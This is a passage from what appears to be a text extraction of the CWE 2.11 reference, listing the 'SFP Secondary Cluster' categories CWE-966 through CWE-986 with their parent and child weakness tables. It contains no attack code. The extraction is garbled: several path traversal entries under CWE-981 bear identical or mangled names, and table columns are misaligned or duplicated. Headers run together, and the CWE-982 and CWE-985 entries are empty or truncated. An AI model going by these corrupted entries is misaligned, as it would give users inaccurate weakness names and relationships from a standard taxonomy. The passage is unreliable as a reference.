<td>488</td>
<td>Exposure of Data Element to Wrong Session</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>☐</td>
<td>524</td>
<td>Information Exposure Through Caching</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-966: SFP Secondary Cluster: Other Exposures

**Category ID:** 966  
**Status:** Incomplete

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Other Exposures cluster.

**Relationships**
## CWE-967: SFP Secondary Cluster: State Disclosure

### Category ID: 967 (Category)

#### Status: Incomplete

#### Description

This category identifies Software Fault Patterns (SFPs) within the State Disclosure cluster.

#### Summary

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>895</td>
<td>SFP Primary Cluster: Information Leak</td>
<td>888 1330</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>453</td>
<td>Insecure Default Variable Initialization</td>
<td>888 768</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>485</td>
<td>Insufficient Encapsulation</td>
<td>888 820</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>487</td>
<td>Reliance on Package-level Scope</td>
<td>888 824</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>492</td>
<td>Use of Inner Class Containing Sensitive Data</td>
<td>888 829</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>525</td>
<td>Information Exposure Through Browser Caching</td>
<td>888 870</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>614</td>
<td>Sensitive Cookie in HTTPS Session Without 'Secure' Attribute</td>
<td>888 963</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>651</td>
<td>Information Exposure Through WSDL File</td>
<td>888 1010</td>
</tr>
</tbody>
</table>

## CWE-968: SFP Secondary Cluster: Covert Channel

### Category ID: 968 (Category)

#### Status: Incomplete

#### Description

This category identifies Software Fault Patterns (SFPs) within the Covert Channel cluster.

#### Summary

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>904</td>
<td>SFP Primary Cluster: Malware</td>
<td>888 1333</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>385</td>
<td>Covert Timing Channel</td>
<td>888 667</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>514</td>
<td>Covert Channel</td>
<td>888 860</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>515</td>
<td>Covert Storage Channel</td>
<td>888 861</td>
</tr>
</tbody>
</table>

## CWE-969: SFP Secondary Cluster: Faulty Memory Release

### Category ID: 969 (Category)

#### Status: Incomplete

#### Description

This category identifies Software Fault Patterns (SFPs) within the Faulty Memory Release cluster.

#### Summary

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>891</td>
<td>SFP Primary Cluster: Memory Management</td>
<td>888 1329</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>415</td>
<td>Double Free</td>
<td>888 718</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>590</td>
<td>Free of Memory not on the Heap</td>
<td>888 932</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>761</td>
<td>Free of Pointer not at Start of Buffer</td>
<td>888 1162</td>
</tr>
</tbody>
</table>
CWE-970: SFP Secondary Cluster: Faulty Buffer Access

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Buffer Access cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>890</td>
<td>SFP Primary Cluster: Memory Access</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>118</td>
<td>Incorrect Access of Indexable Resource ('Range Error')</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>123</td>
<td>Write-what-where Condition</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>125</td>
<td>Out-of-bounds Read</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>126</td>
<td>Buffer Over-read</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>127</td>
<td>Buffer Under-read</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>129</td>
<td>Improper Validation of Array Index</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-971: SFP Secondary Cluster: Faulty Pointer Use

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty Pointer Use cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>890</td>
<td>SFP Primary Cluster: Memory Access</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>588</td>
<td>Attempt to Access Child of a Non-structure Pointer</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-972: SFP Secondary Cluster: Faulty String Expansion

Description

Summary

This category identifies Software Fault Patterns (SFPs) within the Faulty String Expansion cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>890</td>
<td>SFP Primary Cluster: Memory Access</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>785</td>
<td>Use of Path Manipulation Function without Maximum-sized Buffer</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-973: SFP Secondary Cluster: Improper NULL Termination

**Category ID:** 973 *(Category)*

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Improper NULL Termination cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>890</td>
<td>SFP Primary Cluster: Memory Access</td>
<td>888 1328</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>888 328</td>
</tr>
</tbody>
</table>

CWE-974: SFP Secondary Cluster: Incorrect Buffer Length Computation

**Category ID:** 974 *(Category)*

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Incorrect Buffer Length Computation cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>890</td>
<td>SFP Primary Cluster: Memory Access</td>
<td>888 1328</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
<td>888 269</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>135</td>
<td>Incorrect Calculation of Multi-Byte String Length</td>
<td>888 282</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
<td>888 786</td>
</tr>
</tbody>
</table>

CWE-975: SFP Secondary Cluster: Architecture

**Category ID:** 975 *(Category)*

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Architecture cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>907</td>
<td>SFP Primary Cluster: Other</td>
<td>888 1334</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>348</td>
<td>Use of Less Trusted Source</td>
<td>888 607</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>359</td>
<td>Exposure of Private Information ('Privacy Violation')</td>
<td>888 623</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td>888 949</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>637</td>
<td>Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')</td>
<td>888 987</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>649</td>
<td>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</td>
<td>888 1008</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
<td>888 1014</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
<td>888 1017</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>888 1019</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>671</td>
<td>Lack of Administrator Control over Security</td>
<td>888 1040</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>693</td>
<td>Protection Mechanism Failure</td>
<td>888 1077</td>
</tr>
<tr>
<td>ParentOf</td>
<td>E</td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
<td>888 1141</td>
</tr>
</tbody>
</table>

CWE-976: SFP Secondary Cluster: Compiler
### Category ID: 976 (Category)

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Compiler cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>SFP Primary Cluster: Other</td>
<td>907</td>
<td>SFP Primary Cluster: Other</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-977: SFP Secondary Cluster: Design

**Category ID: 977 (Category)**

**Description**

**Summary**

This category identifies Software Fault Patterns (SFPs) within the Design cluster.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>SFP Primary Cluster: Other</td>
<td>907</td>
<td>SFP Primary Cluster: Other</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Misinterpretation of Input</td>
<td>115</td>
<td>Misinterpretation of Input</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Partial Comparison</td>
<td>187</td>
<td>Partial Comparison</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Reliance on Data/Memory Layout</td>
<td>188</td>
<td>Reliance on Data/Memory Layout</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Off-by-one Error</td>
<td>193</td>
<td>Off-by-one Error</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
<td>349</td>
<td>Acceptance of Extraneous Untrusted Data With Trusted Data</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td>405</td>
<td>Asymmetric Resource Consumption (Amplification)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Algorithmic Complexity</td>
<td>407</td>
<td>Algorithmic Complexity</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Incorrect Behavior Order: Early Amplification</td>
<td>408</td>
<td>Incorrect Behavior Order: Early Amplification</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
<td>409</td>
<td>Improper Handling of Highly Compressed Data (Data Amplification)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Insufficient Resource Pool</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Deployment of Wrong Handler</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Duplicate Key in Associative List (Alist)</td>
<td>462</td>
<td>Duplicate Key in Associative List (Alist)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Deletion of Data Structure Sentinel</td>
<td>463</td>
<td>Deletion of Data Structure Sentinel</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Addition of Data Structure Sentinel</td>
<td>464</td>
<td>Addition of Data Structure Sentinel</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Use of Incorrect Operator</td>
<td>480</td>
<td>Use of Incorrect Operator</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Incorrect Block Delimitation</td>
<td>483</td>
<td>Incorrect Block Delimitation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Comparison of Object References Instead of Object Contents</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Incorrect Semantic Object Comparison</td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Exposed Unsafe ActiveX Method</td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Incorrect Use of Privileged APIs</td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td>670</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Incorrect Calculation</td>
<td>682</td>
<td>Incorrect Calculation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Insufficient Control Flow Management</td>
<td>691</td>
<td>Insufficient Control Flow Management</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Incorrect Behavior Order</td>
<td>696</td>
<td>Incorrect Behavior Order</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Insufficient Comparison</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Execution After Redirect (EAR)</td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>Incorrect Control Flow Scoping</td>
<td>705</td>
<td>Incorrect Control Flow Scoping</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-978: SFP Secondary Cluster: Implementation

1387
CWE Version 2.11
CWE-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID: 978 (Category)  Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Implementation cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>907</td>
<td>SFP Primary Cluster: Other</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>216</td>
<td>Containment Errors (Container Errors)</td>
<td>888  411</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>358</td>
<td>Improperly Implemented Security Check for Standard</td>
<td>888  622</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>398</td>
<td>Indicator of Poor Code Quality</td>
<td>888  685</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>623</td>
<td>Unsafe ActiveX Control Marked Safe For Scripting</td>
<td>888  973</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>710</td>
<td>Coding Standards Violation</td>
<td>888  1112</td>
<td></td>
</tr>
</tbody>
</table>

CWE-979: SFP Secondary Cluster: Failed Chroot Jail

Category ID: 979 (Category)  Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Failed Chroot Jail cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>893</td>
<td>SFP Primary Cluster: Path Resolution</td>
<td>888  1329</td>
</tr>
<tr>
<td>ParentOf</td>
<td>243</td>
<td>Creation of chroot Jail Without Changing Working Directory</td>
<td>888  434</td>
<td></td>
</tr>
</tbody>
</table>

CWE-980: SFP Secondary Cluster: Link in Resource Name Resolution

Category ID: 980 (Category)  Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Link in Resource Name Resolution cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>893</td>
<td>SFP Primary Cluster: Path Resolution</td>
<td>888  1329</td>
</tr>
<tr>
<td>ParentOf</td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>888  91</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>62</td>
<td>UNIX Hard Link</td>
<td>888  96</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>64</td>
<td>Windows Shortcut Following (.LNK)</td>
<td>888  98</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>65</td>
<td>Windows Hard Link</td>
<td>888  100</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>71</td>
<td>Apple ‘.DS_Store’</td>
<td>888  106</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
<td>888  668</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td>610</td>
<td>Externally Controlled Reference to a Resource in Another Sphere</td>
<td>888  959</td>
<td></td>
</tr>
</tbody>
</table>

CWE-981: SFP Secondary Cluster: Path Traversal

Category ID: 981 (Category)  Status: Incomplete

Description

Summary
This category identifies Software Fault Patterns (SFPs) within the Path Traversal cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>893</td>
<td>SFP Primary Cluster: Path Resolution</td>
<td>888  1329</td>
</tr>
<tr>
<td>Nature</td>
<td>Type</td>
<td>ID</td>
<td>Name</td>
<td>Page</td>
</tr>
<tr>
<td>--------------</td>
<td>----------</td>
<td>----</td>
<td>-----------------------------------------------------------</td>
<td>------</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>23</td>
<td>Relative Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>24</td>
<td>Path Traversal: '..\filedir'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>25</td>
<td>Path Traversal: '..\filedir'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>26</td>
<td>Path Traversal: '\dir..\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>27</td>
<td>Path Traversal: 'dir..\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>28</td>
<td>Path Traversal: '..\filedir'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>29</td>
<td>Path Traversal: '..\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>30</td>
<td>Path Traversal: '\dir..\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>31</td>
<td>Path Traversal: 'dir....\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>32</td>
<td>Path Traversal: '..' (Triple Dot)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>33</td>
<td>Path Traversal: '......\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>34</td>
<td>Path Traversal: '......'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>35</td>
<td>Path Traversal: '......\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>36</td>
<td>Absolute Path Traversal</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>37</td>
<td>Path Traversal: '\absolute/pathname\here'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>38</td>
<td>Path Traversal: '\absolute\pathname\here'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>39</td>
<td>Path Traversal: 'C:\dirname'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>40</td>
<td>Path Traversal: '\UNC\share\filename' (Windows UNC Share)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>42</td>
<td>Path Equivalence: 'filename.' (Trailing Dot)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>43</td>
<td>Path Equivalence: 'filename....' (Multiple Trailing Dot)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>44</td>
<td>Path Equivalence: 'filename' (Internal Dot)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>45</td>
<td>Path Equivalence: 'file...name' (Multiple Internal Dot)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>46</td>
<td>Path Equivalence: 'filename' (Trailing Space)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>47</td>
<td>Path Equivalence: 'filename' (Leading Space)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>48</td>
<td>Path Equivalence: 'file name' (Internal Whitespace)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>49</td>
<td>Path Equivalence: 'filename' (Trailing Slash)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>50</td>
<td>Path Equivalence: '/multiple/leading/slash'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>51</td>
<td>Path Equivalence: '/multiple/internal/slash'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>52</td>
<td>Path Equivalence: '/multiple/trailing/slash/'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>53</td>
<td>Path Equivalence: '/multiple\internal\backslash'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>54</td>
<td>Path Equivalence: '\filedir!' (Trailing Backslash)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>55</td>
<td>Path Equivalence: '/' (Single Dot Directory)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>56</td>
<td>Path Equivalence: '\filedir' (Wildcard)</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>57</td>
<td>Path Equivalence: 'fakedir/..\realdir\filename'</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>58</td>
<td>Path Equivalence: Windows 8.3 Filename</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>66</td>
<td>Improper Handling of File Names that Identify Virtual Resources</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>67</td>
<td>Improper Handling of Windows Device Names</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>72</td>
<td>Improper Handling of Apple HFS+ Alternate Data Stream Path</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>73</td>
<td>External Control of File Name or Path</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>428</td>
<td>Unquoted Search Path or Element</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>888</td>
</tr>
</tbody>
</table>

CWE-982: SFP Secondary Cluster: Failure to Release Resource

Category ID: 982 (Category)  Status: Incomplete

Description
### CWE-983: SFP Secondary Cluster: Faulty Resource Use

#### Description

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Faulty Resource Use cluster.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>892</td>
<td>SFP Primary Cluster: Resource Management</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>404</td>
<td>Improper Resource Shutdown or Release</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>459</td>
<td>Incomplete Cleanup</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>771</td>
<td>Missing Reference to Active Allocated Resource</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>773</td>
<td>Missing Reference to Active File Descriptor or Handle</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>775</td>
<td>Missing Release of File Descriptor or Handle after Effective Lifetime</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-984: SFP Secondary Cluster: Life Cycle

#### Description

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Life Cycle cluster.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>892</td>
<td>SFP Primary Cluster: Resource Management</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>416</td>
<td>Use After Free</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>P</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>888</td>
</tr>
</tbody>
</table>

### CWE-985: SFP Secondary Cluster: Unrestricted Consumption

#### Description

**Summary**
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster.

#### Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>892</td>
<td>SFP Primary Cluster: Resource Management</td>
<td>888</td>
</tr>
</tbody>
</table>
CWE-986: SFP Secondary Cluster: Missing Lock

Category ID: 986 (Category) Status: Incomplete

Description
Summary
This category identifies Software Fault Patterns (SFPs) within the Missing Lock cluster.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
